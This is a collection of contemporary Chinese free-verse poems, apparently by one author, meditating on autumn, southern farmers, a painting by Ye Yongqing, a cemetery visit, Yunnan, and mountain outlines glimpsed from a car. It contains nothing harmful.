分明就是了空之不明和待思索的开始。 就是在了这里，你念出了那个空 你落在人老去而随时可以反驳于你成熟的经验 怜悯的经验，另一条路上并不反驳于你 你幼稚的自我明证。 去掉诗歌中的木栅栏，诗歌便是隐喻的。 这是人被内涵在当今句式丰富之中 自以为握住什么道理的封堵了缺口。 隐喻是因此被掉落的东西， 难不成在那个空之得以形成 在那个只有空于这个位置上面起初的最为合适之显然之时， 那不断周转坠落的事物竟是某种， 因而在之后不断生成又遗落的事物么。 你不得宁静的，如隔着鸿沟的解释 彼岸的你此岸的你 即是被观察者的你 又因此使得观察者生成的你。 在你和你之间的空 在你不得平静时遗落如此多可疑又无趣的 隐喻的早晨。 回到早晨竟然出发于一种莫须有的困难。 隋家峪村之三 《隋家峪村三》 迅速不是一种欲逃离的谗言，深秋 调皮结着伴努起的嘴巴。 能在深秋找到的并不是寒冷，一种 每每被语言命中月下影子般的孤独。 我一年都一直在明证，踩着脚下 自己的影子来对我所深知，思索到清晰 那个不断回响，由我所牢记的内容是 一年里，穿过过去的冬雪，披着皑皑的山峰 通过文字我向另一番递迢前进。 即使另一个人儿总沉默不语，使得那 从未成为花前月下浪漫的主语。 我要是做一面短暂的风帆， 便意味着它早早已被给定的命运。 但镶嵌在它古已有之的建筑构成和方法论之中 撞击一般，院落的陆地如同并不满足于柔软 而驶向水流和湖泊的船只，有一次停泊 就是如此， 我在这个唇边说了那么多，自我欺骗了那么多 我甚至羡慕春日里，或者离开了春日， 来到深秋里面依然喜欢，习惯于筑巢的鸟儿 从潮湿的河岸边衔来枯枝 一段瘦弱到只剩下关于水得记忆，关于语言最后 可以彼此果腹，互相偎依着取暖的剩余群体 在鸟儿那里得到了拯救。 所以我还是乐意去等待， 有时候这甚至可以视作，像我这个 实则平平凡凡，平庸无奇之人，唯一 能感觉到存在，自我活着的依据。 如果我从柔软之地的边缘滑轮， 那么在普遍性的普世上面，道理如随处可见的 河流，干涸的载着艳羡，古老的誓言 又说给谁听呢， 谁呢，拨弄了对白天不再着迷，已经无耐心于 多余的话语。 万物的坠落发生在夜里 仅仅如此了 支流五 《支流五》 某一个人展开了他的动脉， 在胸膛那里。用来呼吸 空气似乎在幽闭室内更为少。 他便用手左右稍一用力， 某一个人展开了他的动脉。像一片叶子 烙印在了粗糙的骨肉上面。 而更加的危机 对于我，我的无知，孤陋寡闻。 当我觉得这枯叶一般为追求 并且塑造一种静止画面的早已经成功。 对于静止的只有片刻而言时， 他这个疾患的身体是无法承受这种静的止步的。 所以，一个人儿对我而言的不理解 是我所不了解的南方， 我知之甚少，对于他们居住的方式 繁衍，耕作 耕作中快乐与痛苦都不甚了解之下， 他只是我所肤浅设想的一个农民。 他平等于他动作发生时，他的痛苦。 并不大于周围所显示的一切， 充满药香的室内，光洁的玻璃 以及他洗耳恭听，随后沉默的声音。 所以，我需要改道 不再遵从于事先匆忙写下的东西。 在河的对岸 有的并不是他的家， 并没有良田和沃土，入秋后还可以 用来展示给异乡人看的野蛮的稻谷收割后残留的 根茎。 一种野蛮依然潜伏 潜伏在万千中要义又具体于一次多么具体的 人儿趟过冰冷的河水里。 所以河对岸有的事物是仿佛可以治愈的保证。 是有声甚至有色的医馆 一个古老建筑在现代化历程之中 因停顿的需要而对于他， 和他所代表的千千万万农民不幸的由此建基。 这已经无法让南方更往深处的虚妄了。 银色针头的大夫甚至可以被幻想， 被推测，指出他的名谓和出处。 在胸膛上面显示如叶脉一般呼吸脉络的人 我听闻他日渐的呼吸困难 嗓音中似有痰咳 似乎混乱的事情是有一篇古老 尚未完成的乐章。 乐章的重量压在了推门而入并坐在那里的人 身上。 使得一切就像是对于异乡人而言的未解之谜。 像事物第一次在黑暗的摸索和幻想中略微的清晰， 像那个人其实身体健康，有一个美丽的女儿。 像他偶然有一次风寒 怕传染给家人而推门而入时。 光被带了进来， 照亮屋内如此多的悬而未决的事物。 支流六 《支流六》 我只是在说一件很简单 很平常的事情。 只是我惧怕往深里那种事情的原委 是人儿可笑的幻觉， 独立贫乏的个体 以及一个个努力，用双手，有手有脚 努力生活又不带怜悯的群体。 那里面深深的意思被人类塑造，我只是 这种空幻之虚，那掩盖被变得 如此长久于建筑的锁链上面 因需要具体而如此鲜活的一员。 所以谁都会看到南方收割之后的稻田， 被镰刀收割后的荒凉，突兀 像水无情侵泡后泛白的暗疮 又像语言得无力， 终经不住人类一个接一个的拷问和沉思。 所以驱车赶来人儿也会跟我一样 在面见，目睹 这些长江沿岸裸露的根茎后 生出他们各自不同的感觉。 有叹息的，停顿一会 有不以为然，这为一个美好的 广博的视野提供了可能性。 而我呢，即使我不从这些人类群体 错综复杂，又自我焦虑的目光中 并不从这些暗淡又怀有希翼的目光中 摆脱和下降。 稻田边的水也沾湿了我 幸福了一个我所微不足道的短暂时刻。 我已经想不起想要说的是什么了 而我何时才能面对 使我面对的那些稻田根茎一般沉默的语言 说着 内容是土地面见了每一个到来之人 使得那些此地农民的组成部分 由来于边缘的火车，汽车和脚步的 响动和哗变。 所以有力的农民，接着愤怒又无力 不甘的农民。 进城的农民， 子嗣的农民，爱情的农民 结缘而女儿长大的农民。 他们或者我在边缘地带看到了裸露 入秋之后的稻田 生出我的感慨，我的无知 我试图挣脱于这因挣脱而愈加向一个农民 他南方的解释 而我所赋予他，就像我在落入宿命之中 所言说是同样的事物，同样的器皿 镰刀割破茎部，粮食需要打捆，储藏 硕鼠需要害怕和防备 粮仓伫立在野蛮而幸福的村庄谷场。 一切沉默肿自有对抗和冲突 自有野蛮的村庄，幸福的村庄在天平上面 来回游弋 我自有一些重量， 暮色暗淡 我不可能长久 一个农民因此将衰竭 土地是如此辽阔的， 我所说的话语如早来的种子 不能结果， 落地时会被同样的流水淹没和分解。 支流7 《支流7》 南方有我的妻子和归宿 有我的勇气和康复。 因此有和着歌儿轻轻唱的节奏 有我的绿树成荫的家园。 妻子你就像茉莉花一样的洁白和干净 我是粗糙的土壤 寒冷的土壤迁移中 温暖的气候里面变得温润。 在我的身上你扎下了根 从一粒被扔下的种子，或者我并不了解 我只知道你是当地符号一般的名字 人们常常提起你 赞美你，人们，特别是勤劳的农民 最为熟悉你，了解你。 妻子， 其实你并不美丽，而我更是如此的平凡。 但你那么的雪白， 白的彻底，白的洁净。 白的充满了勇气甚至 早在现在充满谎言的时代来临之前 更早前那个比谎言还要恐怖的时代你就已经 出生了。 像所有人儿一样，同时 你也像所有心思细腻，柔软的姑娘 经历了出生，婴儿的蹒跚学步 经历了少年和慢慢的长大。 如今我扶着你冰冷的岩石 扶着出于忌讳， 我们自己的传统躲过那些 人们不愿意的不合时宜的话语。 但我的嘴巴长在我的身上， 我有我的自由，哪怕微薄一些，贫乏一些 我有我说话的权利。 我言说一种你所步入的轮回， 一种曲线美， 更为弯曲的曲线是美丽圆 太阳夺目的光芒在那里面闪耀和储存。 语言被它那金色的芒燃烧和驱动着 人儿便活着 活从重新回到一次爱情，活 从重新回到你的少女时代 回到豆蔻的心意，一切 充满了生机的生长，向上。 我闻到了土地孕育的力量， 虚假和谎言将在历史的审判之中纷纷揭露 和失败。 它们坠落在我们粗糙的土壤身上 我们分解它，辨识它 就像辨识腐烂的种子，破败的果实 季节里面我们劳作，风儿晃动着我们 单薄的身影。 所以妻子， 你就像在地上遍布的茉莉一样平凡和伟大 像在温润气候里总是沉默和善良的茉莉一样 普通又特别。 你并不好看， 就像我如此的普通。 你我紧紧相连是生的力量 这一单纯的一点，如此不容易的一点 我却无法康复， 茉莉，你也并不是我的妻子。 观叶永青的画 《观叶永青的画》 说放松，我觉得不真。 从纤细里面， 了解到鸟儿的踪迹 和意图。也只是 小的事情。 一切皆为小，难不成 在画的展出的 如一江秋水之上，意图于 凭空于流波处。 却有一支幽寂——这词语也 在描述上面并不恰当的甬道吗？ 一种抛弃远是错的， 远为不准。则错上加错。 路上更多的走走， 会遇见门口等待妻子 生产， 而自己冷静的丈夫。 等一个我的画面只是 那被画所观望，那 组成部分尚未完成中的 微小的一部分。 所以我以为的不真 仅仅只是我自身不真的那一部分， 如果我移动，迁移，别有心思。 或着秋天再深再长 令得景色再往阴郁里面一些。 我就可以拨弄那别的观画者之迟疑中 同样需要怜悯的那一部分。 我等待的话语是画是活的 画中的空白是鸟儿自己的窝。 笔直和杂乱的线条 之前在河岸边是从树上掉落的枯枝 鸟儿寻找到了它们，衔起 在它身上有一种天生筑巢于空的本能。 所以空寓意着天气冷了 需要一个窝。一个小家。 我猜这就是画家感觉到的东西。 因为他沉默呀， 所以我的观点就像置放在他沉默的器皿里面。 所以我可以接着说，接着推测 一支画中孤独的鸟儿， 不规整的鸟儿是入秋后 还没有找到自己窝的鸟儿。 它一定遵从了某种需要经过人儿 才得以言明和道说的要义。 这要义是这样 ：个体的具体痛苦和漂泊 在更大的视野和充满感悟的思想里面 是对一整个群体和文明史的揭露。 所以鸟儿的静止必然有着随时 运动，跳出画面，乃至 跳出人们脑海的企图。 观画者得不断走进，买了门票 并不是什么主动的行为。 而收藏家必然大腹便便，终其一生 无法摸到 画中一只鸟所隐含和意图吐露的真义。 画家本身也是如游客一样迷惑 在一个极其短暂的瞬间， 落笔成画，一气呵成时他如鸟。 不， 准确而言，那时的他就是那只鸟儿。 共享了鸟儿的孤独和天气的转冷 有那么一瞬间他爱这只鸟儿爱的无比痛苦 有时候他退了回啦， 从画的， 土地，江山一般的辽阔那里 他有一种逃离，逃脱，一种对于冷 真实之冷，无家可归 进而孤独和清贫的畏惧与害怕。 观画的画家 比看画的人儿还要困难。 ————即使那仅仅是画中一支残破， 孤独的鸟儿。 安息公墓 《安息公墓》 没有什么，比最为简洁和直接的数字 更能给诗歌和诗人的写作带来困难。 带来骤然增加，令得诗歌里面，文字突然 枯燥的压力倍增。使得一个人儿长久的 从一种早已经习惯了的写作流水行云那里挣脱。 并非出于主动，或者他只是曾在心底的最深处 或者是某一天夜寐时仅仅闪光一般的浮现过这种暗示。 但这处境确实在如今走到了具体， 如果并不是什么鲜活，像是花朵有了花蕾，但并不满足 我们能从它含苞待放那里听到里面，自我敲击 鼓胀的声音。听到声音的内容是对结果的迫切 一颗躁动的心。 但时节会处理这些，或许这就是时节，季节 千百年来能够给予我们经验，使得我们可以总结 用春夏秋冬，二十四节气来多半标准的涵盖它的理由。 所以处境里面真正具体的甚至都不是一个人。 而是拜访本身。 数字本身冰冷，沉默，不说话 但面对来访者数字，比如以19几几到19几几的 寿命绝不可能突破到千禧年而是短命和悲伤的事情。 所以，无论那人儿是否心有不甘，是否依然有很多 想说或者想表达的事情 对于她的父母，亲人，对于这个世界她都无法再继续言说了。 是了，我不经意的提到了“她”。 因为我觉得如诗人海子所言，而且他必然经过漫长 孤独甚至痛苦的考证而得出了 关于我们自身文明属阴的结论。 你要是准备去反对他那么他的观点就愈加正确。 你甚至还可以听到，在河岸边传来的， 脚步趟过流水的声音。 你如果要去反驳他，像你比之于一个亡者而言 你才是活着的，鲜活的，有血有肉的。 干脆你有更多的优势和对待只落得沉默干瘪的文字而言时 话语权上面的优越。 那么他的观点依然愈加的正确。 这种正确并不会加深，或者牢固什么， 不会像夜晚在小巷亮起的灯火， 一枚红灯笼，结着幽怨，泛着红光，给一条小街 增添了来或去的指向性。 不会的，增添的观点，或者人儿的许多动作，看法 观点和行为都在这枯燥，干瘪的文字体内发生。 ————使它更加的干瘪，我想情况真正而言是这样的。 使得它愈加实现它，自身固有的夙愿 ：回到土地，或者作为一切事物和活动的根基而成为了基础。 土，我是说。 但今天我要说的并不是土，并不是对于 基础和基础之上建筑的垂思与缅怀。 我是说墓碑，也绝非墓志铭。 死者常常最后遗留。或者用文字概括自己一生的东西。 不是的，我只是说一种退却 需要人，来者， 甚至需要一个初秋天高气爽，空气清新的天气。 需要带着困惑又肯定是关怀心意的诗人 一种身份，就好像他走过山上的隐秘小路 他的影子又夹杂在树影之间时，他的影子 多半有着他身份的隐秘昭示。 所以我觉得语言一直沉默着， 并不仅仅在于那个时刻，语言的更多的沉默 有着更为宽广的范围。 但每当它具体时，它的具体必然具体到了某一个人 或某一个人儿的某一次事件。 我把这事件称作了拜访，不成功的拜访 因为来访者面临了枯燥的 往自身体内退了又退，仅遗留一串数字和横线的文字。 诗歌面临了压力 像过去他所写的所有诗歌都一并被统一的展现， 统一的聚集和召唤。 而在它们面前使得它们作为一个整体的 是一道深不见底的悬崖。 ： 19几几到19几几。 我等待诗歌的自我救赎 我要说的并不是这个，但我也绝非诗人，诗人的问题 或者时代的问题。 或者戏曲呢。 或者我仅仅希望作为焦虑的旁观者参与 以偶然的方式 以墓碑上面有一种 把后来者们全都涵盖和注定规范了的 命运。 云南 《云南》 云南的每一个地方似乎他都去过了， dh州，我所好奇的地方。 大理，我记得那里有一片从范围上而言 日渐稀少的海。所以在那里，他一定更加的悲痛 伤心。一个中年男子汉会偷偷摸摸的在凌晨 空无一人的大街上面行走，抹几滴眼泪。 苍山他也去过，我看诗人写道。作为一个记者 为了几匹山脚下因为矿难，矿洞突然坍塌 而一并无辜受难，就像到死亡也还是人类陪葬品的牛羊。 它们应该是全身漆黑。黑的彻底，黑的没有一寸 不是被黑色所覆盖和占据。 在这里有一个有关于牛，或者羊的歧义。就像 一头牛或者一只羊，从它们被念出之时 用来表达它们数量的辅助用词的不同样式和发音 就已经存在了的各种差异。 就好像很简单，即使它们都吃草，渴了饮水 累了就寻一个舒适平坦的地方，在离牧人不远处 趴下来休息。 它们走路的方式和个头大小也是不同的， 我不知道这里不同这个词语是否合适，合适的意思 我想可能仅仅只是说，除了用这个词语我一时之间 再也找不到其他更能救急的词语了。 但好像我也没有准备对谁来诉说这个，也没有 什么事物是需要通过我，而应当被别人所知晓的。 所以我只是一个读者，读者雷平阳老师的诗歌。 联想到有关于云南，苍山这个地方。 更具体是当他作为一个记者，仿佛一个战地记者的化身 当一场矿难对他命运般的召唤并命定了他之时。 那黑漆漆的被埋藏在地底的牛羊， 由一种天然，地理上面被大幅度压缩却又自然之黑 所涂抹的牛羊，正存在了一种歧义。一种 揭示性。 一种云南的倔强与衰落，或者衰落与繁华， 接着繁华与因果，因果与一个当地诗人之间 两难情境的彼此纠结。 但远非这么简单，我只是躺在床上，随手敲着手机 用手机本身自带的笔记本偶然，又短暂的写下了 排比句一般的这几个关系。 但这正是他们对于一个远来客而言，本身合理的地方。 这就像那场矿难的揭示性，或者 可以说是替一些幸免于难者去亡故的生灵 它们的浑身漆黑的死亡，死亡里面所包裹着的 山坡上面云贵高原的青草香，泉水清冽， 都一一被暗含。 所以远一开始就被指定，是否在这里呢。 就像一切揭示性都不过是一些很平常，很普通 乃至很自然的事情。 老人们常说，一切都会过去的。在他们沧桑的脸上 在沉默的烟斗燃烧着旱烟的袅袅升里 这句话的意思或许带有少年郎的某种遥远寄托 带有，一切不过如此，老子却干不过的意思。 所以，云南是很大的东西，我觉得。 所以我觉得当诗人说爱，并且 这种爱隐藏于深沉，对旧日不幸的忧伤， 无法从过去的池沼中走出时 这种爱的罗列，需要很多年走过云南脊背上充满苦难的地名时候 不同城市的名谓组合有着云南很大的意思。 大如手掌，它摸过粗糙的根茎了。 我叫不出那些植物的名字，那些花儿 因此盛开在异乡人沉默与好奇里面的名字。 特别的鲜亮， 就像云南很大，很大的手掌 当它摩擦过这些，对于揭示性的痛苦 且是个痛苦痛苦于掩埋，有着许许多多 死亡的悄无声息和籍籍无名之时 它需要我的到来。它 暗示着，仅仅诗人本身是不够的。诗人 他爱着云南，爱一片黄褐色，太阳光有时候很毒辣的土地。 爱让来访者听粗野下流，又带有少许文雅的荤段子。 爱把群山入暮称作某种性爱的偶然失败， 姑娘逃离向了北方， 甚至更北。苦寒之地。 所以你或者我来了，你或者我 就会被诗人赋予一个有关于一个逃跑女人的莫名身份。 所以，如果我说， 我对于这份爱有什么陌生和迟疑 那么这几乎形同于我处在一个 事先就被重新解释，重新诠释了的话语之中。 没准我正处在日渐缩小了的洱海之中。 像在一团淡蓝色的气泡里面说话 我说迟疑与爱的关系 每当我对一切爱土地的眷恋有所迟疑之时 那爱不在前端，不作为原因 ————而结果是因此他愈加的爱这份 久无法从过去的云南那里摆脱。 大地上的事情 《大地上的事情》 大地上的事情， 就像大地的下面 除了大地也还是大地。 你还能寻找到云 一些总在大地的粗糙的边缘。 朦胧， 半透明， 会因为人的好奇 因人好奇到尝试用脚步来踩踏它的时候 便飘动，腾飞的云。 以这种方式，没准云 就回到了云。 就像文字回到了笔记 文字通过某种通道，回到了 它最质朴，自然的那个地方。 它对于我也有着功用， 我一直焦虑着，压抑着 无法放松。 我渴望放松，好像我也渴了 但水却无法满足我 水的梦幻，无法触摸更让我着迷。 所以偶然间被触碰， 或者具有揭示意义的远远不是云。 在边缘的安静如孩子一般的云 或它的安静，娴静也听到了我的看法。 在静止中有着无限 有一种对于人儿而言一时之间无法想象了的 从此到彼的短暂和须弥。 所以啊， 才因此有了大地上的有关于丰收的事情。 它们是多的事情， 聚集在一起的收割。 许许多多的人，穿着朴素的衣裳。 泉水随着人们弯腰， 流淌在褐色的皮肤上面。 更多的比喻已经不需要了， 更多的延展也， 有着多余的意思。 但歌子是必要的， 因为这个时候我听到了李健的 《麦浪》。 我听到音乐，它 是继云朵之后的第二件可以回到了 它们自己故乡的事情。 在乡间的小路上走着 发出的声音，叮叮作响。 我还知道那些叮叮作响的事物，它们的 由来和组成 是我这算作诗歌的篇章里面， 在那些贫乏的速写上面被错过， 被忽视。 甚至是我一时之间无法自我解答而造成的后果。 我只是在寻找鸟雀，我觉得 在云朵，歌子，这预示繁多后的 第三件事物。 鸟儿把它粗糙的小窝安在了田野上面， 金黄的秋天所呈现的是丰收的结束语。 劳累的人们会在群星点点的夜晚 来到这个白天难以寻觅的地方。 他们与它一起做梦就像 鸟儿也拥有了人类的语言。 像人类对于鸟儿其实有一种挽留 人类已不是第一次到达一种 寄托和对自我的远离。 在忽然之间或者土地的耕作之后的 开裂的纹路。 在那除了大地也还是大地， 我们有一种怀想 一些迥异的词语不涉及命运 正怀抱着我。 傍晚。 《傍晚》 写完的诗歌不小心丢弃 是否是事物 以阴影的方式表达自我的一种方式呢。 它们沉默，不 它们什么不知道任何的文字 任何的态度 隐藏于夜晚的阴影里面 事物的，词的意思 怒目圆睁也将会重新的回归于事物。 所以事物的姿态， 以此作为一个题目，对应于傍晚 偶然而来的感慨 稍微有一点点深，又不曾 脱离表面的思考 那是多么可笑的一件事情。 事情的姿态， 但人们常常会在傍晚，在夜晚 遇见它们。 走过街道，吃过饭，三三两两 闲得无聊。 乃至于猎奇。 所以事情很清楚的表明了自身 即我。 人们，或者我也总是在人们之中 人们因此也会变成“我”。 那么人们对于事物姿态的思考 事情的意思是 一群人投入了我所幻想的落网。 所以夜晚应该是一天之中最为慢的 那种东西。 这种慢的呈现方式往往是热闹 事物聚集。 一些对于自我表达方式 以阴影所体现的事物 人为的被我们聚集到了一起。 八九点钟这个时分街道上是最热闹的， 像最后的一件事是是聆询 众多的语言， 碰撞的酒杯 所有这一些都只是对于事物 以阴影般表现自我，这一小被长久纠结 所感到的不满。 那么， 人们会说，在这之前呢。 事物伸展自己，街道上午经历了秋雨。 这铺展之姿难不成只能在 终其一生的无法聚拢中， 只好经由人的做一个美好的断言么。 那么收拢呢， 有向内的事物，有着质量 是大街上随处可见的石桌，石椅和 石制的台阶。 就像语言如清水一般曾从上面下来 而回来却是困难的。 人们想一种从下到上的回流意味着什么呢。 像一种流逝的意义在于缓慢 像一个人儿只是等待他 因等待而远的平静。 探了探窗， 街道上面火焰突然升腾又熄灭。 短暂被更加清晰照亮的事物 在它极其短暂的显露那里， 在阴影一般对于存在尺度的表达之前 它已经在了眼睛， 进而人的看那里了。 傍晚 《傍晚》 透过车窗， 当看到窗外偶然路过 带着孩子的妇女时。我忽然觉得 诗歌是一种很广泛，宽泛的事物。 它保持一种沉默的状态 它的话语只是人所赋予它 由文字所书写于它的语言。 而这些书写的意思恰恰是说 它因此自有它自己的沉默。 于是，诗歌与我的关系 是篇章的日常和简单。 像车窗外面的母女俩， 她们与我隔着的是一条隐秘的河流。 跨过河流我能遇见， 我将被全身心的放松所浸染。 那么说诗歌的沉默只是说 沉默是一种常常被拿来使用， 被非常自然 以略带有夸张和神秘主义的方式所 自然而然，对某物予以表达的方式。 所以沉默是多么可疑的事物 为什么呢 为什么生活中，当生活被一个人不自觉的 投射在诗中 以诗篇来表达时 事物总要带有可疑的色彩。 这是事物本身的固有属性，在傍晚 一天的喧嚣之后 当沉默也不可解其内在的疲乏，那可疑 便以沉默的方式 经由人的语言表达了出来。 如果不是呢， 可疑总是一切的可疑 甚至这比傍晚的暮色，它的阴沉 向着黑暗的徐徐挺近还要突然。 遍布着可疑的事物与可疑遍布于事物没什么两样。 一个妇女带着孩子 走在了傍晚金黄色的河岸边 你就像一条欲言语又不得的鱼儿 你的动作是全部的跳跃所激荡起的水花 没有鱼儿，岸上也没有 观鱼的妇女俩，仅仅穿过 莫须有的思想焦虑的屏障 也容易是汽车里面的人儿 原地打转。 早晨 早晨 在哪里都有清晨起来就开始辛勤劳作的人们。 在某个时间，某个地方。具体到某个瞬间 从车窗里面不经意的望了过去。你就能看到 马路边对于秋叶和秋风在昨夜事先约定好的到来 那姗姗来迟中带有扭捏，又恪守约定的树叶翩飞 的有一种拒绝。难不成当我想把这种 基础于时间和空间，在物理学，在现代意识 由人的无一遗漏时间观念上面所组成的必然普遍时， 那种瞬间看见所给予我的恩赐感反而是了别的事情么。 从主语，唇边湿润的主要事物它自己拒绝了。 并且滑落，从一个高处向着了别的什么地方。 但那并不是什么向着未来和暗示性的隐秘之处， 地上是辽阔的，似乎我们的语言，它的一些反驳 和实则对自己的迟疑，真正所言说的意思只是。 言说之时的语气不足，力量稍逊，便以弥补的形式。 极其隐匿，极其悄然。在未来的行程上不断的对它，对自己自我完整着。 仿若拖着长长的尾音形象 留恋却又难以寻觅于渴望人对于它的 惊鸿一般的止于秋水的寻得到了。 但我觉得这是一种大地一般的，与土地紧密相关的企图。 甚至这是人的企图，更近一些，当我以人来作为样体 以我们日常具体鲜活的，以我自己的日常起居 各种复杂又难以释放的情感来作为 最为直接的经验对象时 人所说出的语言，我觉得它最为直接的反应了 这种某物与大地的难分难解。 人说的语言也具有重量，具有重量应该是被听闻到了的 观点和看法。 谁听闻了它已经不重要了，甚至说出这话的 也可以是人，一个朋友。也可以非人，山具有了 通道一般的敞口。 是人乐意于消隐，他转过身，他深知于是这句话 这个观点。这个看法于他 之为他的得以成行上面他， 才得以有了一个如此美好的秋日早晨。 所以是走入山之敞口中的人儿。空留了一个不会再回答的背影。 你可以说影子孤单，那么仿古诗将油然而生。 沉默，于是你可以说背影萧瑟 秋天的桃花潭边，潇洒的李白便从未曾听闻 仅仅诗歌是不够的，这样子的一种观点。 这当然是我个人贫乏的观点。呵，接着于室内 幼稚的观点。 是那山之敞口的沉默便是了。 清晨 《清晨》 在哪里都有清晨起来就开始辛勤劳作的人们。 在某个时间，某个地方。具体到某个瞬间 从车窗里面不经意的望了过去。你就能看到 马路边对于秋叶和秋风在昨夜事先约定好的到来 那姗姗来迟中有扭捏，又恪守约定的树叶翩飞 样子上面的一种拒绝。难不成当我想把这种 基础于时间和空间，在物理学，在现代意识 由人的无一遗漏时间观念上面所组成的必然普遍性时， 那种瞬间的看见所给予我的恩赐感反而才是了别的事情么。 从主语，唇边湿润的主要事物它自己拒绝了。 并且滑落，从一个高处向着了别的什么地方。 但那并不是什么向着未来和暗示性的隐秘之处， 地上是辽阔的，似乎我们的语言，它的一些反驳 和实则对自己的迟疑，真正所言说的意思只是。 言说之时的语气不足，力量稍逊，便以弥补的形式。 极其隐匿的，极其悄然的，在未来行程上不断的对它自己自我修补着。 仿若拖着长长尾音的形象， 留恋却又难以寻觅于渴望人对于它的 惊鸿一般的止于秋水的寻找得到。 我是说人的惊呼，惊呼于听到一声，沉默里面 对于一种大地一般的，与土地紧密相关的企图。 甚至这是人的企图，更近一些，当以人来作为样本 以我们日常具体鲜活，以我自己的日常起居 各种复杂又难以释放的情感来作为 最为直接的经验对象时。 人所说出的语言，我觉得它最为直接的反应了 这种某物与大地的难分难解。 所以人惊呼如同一种迷途知返上面，依然存在的喟叹。 人言说的语言具有重量，具有重量应该是被听闻到了的 某种观点和看法。 谁听闻了它已经不重要了，甚至说出这话的 也可以是人，一个朋友。也可以非人，山具有了 通道一般的敞口。 是人乐意于消隐，他转过身，他深知于是这句话 这个观点。这个看法于他 之为他的得以成行上面他， 才得以有了一个如此美好的秋日早晨。 所以是走入山之敞口中的人儿。空留了一个不会再回答的背影。 你可以说影子孤单，那么仿古诗将油然而生。 沉默，于是你可以说背影萧瑟 秋天的桃花潭边，潇洒的李白便从未曾听闻 仅仅诗歌是不够，这样子的一种观点。 这当然是我个人贫乏的看法。呵，接着于室内 幼稚的观点。 我从未曾真正的脱离温暖的室内 却又每每自觉于对于温室花朵，所有诗歌 犹如对于花朵之美，它那鲜艳却并不结果之历程 缘何同样羞愧的难以表达呢。 那山之敞口的沉默便是了。群山的秩序反而不如 群山起伏的线条更让人感到放松和平静。 我在白日里再次欣赏到了，群山，这起起伏伏 起起伏伏里面充满了植物和树木的线条。 线条的更为具体，当被一种人难免贫乏和无法宁静的心灵所结合时 似乎我所面临的书写 就像我们书写的人们在注视着，审查着 我们意欲书写的事物。而更深的，仿佛一个注定错误的回答 我们是书写给人看，以此好来满足莫名的虚荣心。 把这个干脆推给诗人的长命和诗歌 本身一直具有的和谐结构。一些秋天的水不再上升 一些秋叶从街道两旁的树木上面飘落了下来 勤劳而早起的清洁工并不知道， 她穿衣，对于睡眠有一种留恋，对最为直接 直接到每一次清扫就如同在一个石头一般的基础上面的 生命垂暮的被表面和洁净那里 对于她而言，一些仿佛事先被裹挟入贫乏而混乱倾诉之中的 诗章一样的东西那里 重要的并非作者本人的似乎再记不起一开始所说为何 而同样，那些所谓命运一般把那自我来映照的说辞 并不重要。 ————她甚至从未曾注意到，我坐在车上，闪了过去 群山的线条 《群山的线条》 下降一些，同时又模糊上一点 相比于诗人眼里群山的秩序，从一个知识分子 未曾言明的有所依靠到另一处，仿佛一直被 等待，等待言明，等待来者和来者语言揭露的 风光之美。我更爱的是，穿行在高速公路上面 从济南到故乡那些隐藏在暮色阴影里面的，群山的 线条。 坐在汽车里，透过车窗眺望远处的暮色。我仅仅能看到的 是济南的群山，南部山区这些连绵不断的线条 跳跃和起伏。这条线竟然对于我渴望它断裂的企图嗤之以鼻。 我不得不打起精神，在对群山线条的连续目睹那里 不免陷入了一场彼此之间的相互对抗。 我都没有认真看它线条的具体轮廓，那里到底属于哪个镇子，哪个镇子上面的那个村庄 哪里的人儿曾在山脚下出生，长大。被群山环绕着 度过了他的一生我都不了解。群山给予我的只有它如此粗糙的轮廓。 甚至我觉得一切事物只有到了夜晚才开始向着每一个济南人 而不是外乡人更为坦诚的敞开了自己。 我爱敞开这个词语，以前通过海德格尔我偶然读到了它 时至今日我都不知道它真正的含义，敞开。按照我们自己的生活里面的理解 就好像有什么从两边徐徐的打开了自己 它不再扭扭捏捏，像个带有拒绝或羞涩姿态的小媳妇。 而敞开，这个莫名的词语，他被我使用，扮演一些 无聊的高大上时，为了防止它坠落向人们追问的 意思何为的风险， 我便常常以生活中偶然的提及来使用它。 我在一场入秋后预示着天气转凉的秋雨之后使用了它。 而这个使用的含义在于我深知这个词语的并不恰当和并不合适， 或许暮色的如约而至反映了这种并不恰当，于是 敞开这个词语便在它，通过它自己往暮色里面 群山的线条的深入那里 来把那个观者之所以为我的情景，如此冲突的以暮色里面，只能看得到线条 来做了体现。 也就是现在和此刻的意思，甚至这此刻的不断绵延 等它如此不愿意停顿它那线条的到了景物清晰的白天 意思上面也还是此刻的意思。 更为准确而言是此刻的如此具体又冲突于 暮色与敞开，线条与具体。 所以当诗人言说他来到了一处，以诗歌上面诗人后期行万里路的 水草丰美之地时，他所言说的事物充满了可疑。 使那个人儿沉默的并不是劳作一生的群山下的宿命 反而听到水草丰美又把，劳动者脸上沟壑起伏的线条称作丰美之时 农民的沉默才是必然的结果。 无声的农民，我觉得这是一个恰当而准确的词语， 我觉得在暮色里面之裸露出常常迷幻人心的群山线条那里 有着中国人几千年来的农民的不幸。 走入群山的沉默的暮色里面是多么平常的一件事情。 一个人劳作了，种植庄稼，当夜晚来临时他收拾了农具 向着家的方向缓缓移动。 为什么呢，为什么这些事物总要在我试图给予它一种短暂之时又准备着反转 那么，那么当暮色里面只能在车厢看到的 皮肤不断的线条真的就是如此简单的简单的形式不成， 难不成对于任何的粗糙而肤浅的思考，或者 对于一种难能可贵，放松沉默下面，身体在舒张里面 偶然得出的群山的线条这些的爱好和倾向。 一种极其微小的东西，一种东西对于事物的托举 一种东西暂时无法脱离暂时的瞬间和渺小 在行驶的汽车上面它只能更为久远的是一种暂时 有那么一种滑落向居住样子一般的情形 好来暗示和反驳的，就像一种临近 像我所复述的，只是诗人对于某种居住之根基的 复述的复述。 于是我分明是一种回声， 夜晚的回声它所久久回荡于群山以线条所给出的边界 那近邻的农民并不否定一种群山之美 于是从诗人的水草丰美那里，接着从一种瞬间和暂时的 并不宿命一般的如此众多的忽略 它们正是以群山遮掩掉了自己几乎全部的部分 好来暗示 人需要以理解自身的存在之渺茫而并不以人来 规定一切的存在辽阔的本质。 无题 《无题》 我希望，如有形质 这是最为古老的寓言， 根部扎在众多事物上面。 从它们的头颅，脖颈，躯体 也不会放过对那四肢的关照。 有时候我想，我愿意从这 尽数被语言的锁链声音包裹中，走脱。 每个人都有着他自己的喜怒哀乐， 为一种完整和整体性。 为了维持它们，仅仅我自己看来的缘由。 所以，语言的继续就如同 风波里面最为朴实的一面风帆。 向着远处的贫瘠，永远贫瘠中 终在阵雨后迎来了一场丰收的村庄。 或者有人陪着另一人儿 船上两个人结着伴，舟楫缓行。 